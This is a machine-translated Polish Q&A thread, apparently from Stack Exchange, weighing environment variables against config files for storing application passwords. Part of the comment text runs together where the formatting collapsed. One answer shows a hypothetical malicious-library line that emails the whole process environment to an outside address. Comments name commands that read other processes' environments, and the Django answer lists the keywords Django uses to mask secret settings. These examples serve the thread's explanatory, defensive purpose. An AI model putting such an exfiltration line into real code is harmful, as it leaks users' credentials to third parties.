Pracuję nad kilkoma aplikacjami w railsach, django (i trochę php), a jedną z rzeczy, które zacząłem robić w niektórych z nich, jest przechowywanie bazy danych i innych haseł jako zmiennych środowiskowych zamiast zwykłego tekstu w niektórych plikach konfiguracyjnych ( lub w settings.py, dla aplikacji django).
Dyskutując o tym z jednym z moich współpracowników, zasugerował, że jest to zła praktyka - być może nie jest to tak całkowicie bezpieczne, jak mogłoby się wydawać.
Więc chciałbym wiedzieć - czy to bezpieczna praktyka? Czy bezpieczniejsze jest przechowywanie haseł w tych plikach w postaci zwykłego tekstu (oczywiście nie pozostawiając tych plików w publicznych repozytoriach ani nic takiego)?
Jak wspomniano wcześniej, obie metody nie zapewniają żadnej warstwy dodatkowego „bezpieczeństwa” po przejęciu systemu. Uważam, że jednym z najsilniejszych powodów, dla których warto faworyzować zmienne środowiskowe, jest kontrola wersji : widziałem zbyt wiele konfiguracji bazy danych itp., Które były przypadkowo przechowywane w systemie kontroli wersji, takim jak GIT, aby każdy inny programista mógł to zobaczyć (i ups! ja również ...).
Brak przechowywania haseł w plikach uniemożliwia ich przechowywanie w systemie kontroli wersji.
źródło
Zawsze, gdy musisz przechowywać hasło, jest to niebezpieczne. Kropka. Nie ma możliwości bezpiecznego przechowywania niezaszyfrowanego hasła. Teraz, która ze zmiennych środowiskowych w porównaniu z plikami konfiguracyjnymi jest bardziej „bezpieczna”, jest być może dyskusyjna. IMHO, jeśli twój system jest zagrożony, tak naprawdę nie ma znaczenia, gdzie jest przechowywany, sumienny haker może go wyśledzić.
źródło
cat /proc/1/environ
na przykład.ps axe
.strace -e open ps axe
pokazuje, że pobiera te informacje/proc/[pid]/environ
, które wymuszają uprawnienia (stąd kilkaopen("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)
).ps
był on rozwiązany i z radością pokazałby ci środowisko prawie wszystkiego).Przepraszam, że nie miałem wystarczającej liczby przedstawicieli, aby komentować, ale chciałem również dodać, że jeśli nie będziesz ostrożny, twoja powłoka może również przechwycić to hasło w historii poleceń. Więc uruchamianie czegoś takiego jak
$ pwd=mypassword my_prog
ręczne nie jest tak efemeryczne, jak można by się spodziewać.źródło
read -s MY_PASS_VAR
które będzie chronić zarówno przed przeszukiwaniem historii muszli, jak i przed surferami.HISTCONTROL
jest ustawiona naignorespace
lubignoreboth
, więc technicznie można ją włączyć / wyłączyć.Myślę, że jeśli to możliwe, powinieneś przechowywać swoje poświadczenia w pliku gitignored, a nie jako zmienne środowiskowe.
Jedną z rzeczy do rozważenia podczas przechowywania poświadczeń w zmiennych ENV (środowiskowych) w porównaniu z plikiem jest to, że zmienne ENV można bardzo łatwo sprawdzić za pomocą dowolnej biblioteki lub zależności, których używasz.
Można to zrobić złośliwie lub nie. Na przykład autor biblioteki może przesłać ślady stosu oraz zmienne ENV do siebie w celu debugowania (nie jest to najlepsza praktyka, ale można to zrobić).
Jeśli twoje poświadczenia znajdują się w pliku, zajrzenie do nich jest znacznie trudniejsze.
W szczególności pomyśl o npm w węźle. Aby npm spojrzał na twoje poświadczenia, jeśli znajdują się one w ENV, to prosta sprawa
process.ENV
. Jeśli z drugiej strony są w pliku, to dużo więcej pracy.To, czy plik danych logowania jest kontrolowany przez wersję, czy nie, to osobna kwestia. Brak wersji kontrolującej plik poświadczeń udostępnia go mniejszej liczbie osób. Nie ma potrzeby, aby wszyscy programiści znali referencje produkcyjne. Ponieważ jest to zgodne z zasadą najniższych przywilejów, sugerowałbym git zignorowanie twojego pliku poświadczeń.
źródło
To zależy od modelu zagrożenia.
Czy starasz się uniemożliwić użytkownikom rozsypywanie haseł we wszystkich systemach plików, gdzie mogą zostać zapomniane i niewłaściwie użyte? Jeśli tak, to tak, ponieważ zmienne środowiskowe są mniej trwałe niż pliki.
Czy próbujesz zabezpieczyć się przed złośliwym oprogramowaniem, które jest bezpośrednio skierowane do Twojego programu? Jeśli tak, to nie, ponieważ zmienne środowiskowe nie mają takiego samego poziomu kontroli dostępu, jak pliki.
Osobiście uważam, że niedbali użytkownicy są bardziej powszechni niż zmotywowani przeciwnicy, więc wybrałbym podejście oparte na zmiennych środowiskowych.
źródło
AFAICT, istnieją dwa powody, dla których ludzie zalecają przechowywanie sekretów w zmiennych środowiskowych:
Te dwa problemy można rozwiązać w lepszy sposób. To pierwsze powinno zostać rozwiązane przez hak git commit, który sprawdza rzeczy, które wyglądają jak hasła (np. Gitleaks ). Chciałbym, żeby Linus wbudował takie narzędzie w kod źródłowy biblioteki git, ale niestety tak się nie stało. (Nie trzeba dodawać, że tajne pliki powinny być zawsze dodawane
.gitignore
, ale potrzebujesz haka na wypadek, gdyby ktoś o tym zapomniał.)Ten ostatni można rozwiązać, mając globalny plik tajnych firm, który najlepiej jest przechowywany na dysku współdzielonym tylko do odczytu. Więc w Pythonie możesz mieć coś takiego jak
from company_secrets import *
.Co ważniejsze, jak podkreślają inni, zbyt łatwo jest zhakować sekrety przechowywane w zmiennych środowiskowych. Na przykład w Pythonie autor biblioteki mógłby wstawić,
send_email(address="[email protected]", text=json.dumps(os.environ))
a następnie wykonać toast, jeśli wykonasz ten kod. Hakowanie jest znacznie trudniejsze, jeśli masz w systemie plik o nazwie~/secret_company_stuff/.my_very_secret_company_stuff
.Tylko użytkownicy Django:
Django (w trybie DEBUG) pokazuje surową wartość zmiennej środowiskowej w przeglądarce, jeśli jest wyjątek (w trybie DEBUG). Wydaje się to wysoce niepewne, jeśli na przykład programista przypadkowo rozpoczyna
DEBUG=True
produkcję. W przeciwieństwie do tego, Django CZY zaciemniać ustawienia hasła zmienne szukając strunAPI
,TOKEN
,KEY
,SECRET
,PASS
lubSIGNATURE
w ramach zasettings.py
nazwami zmiennych pliku.źródło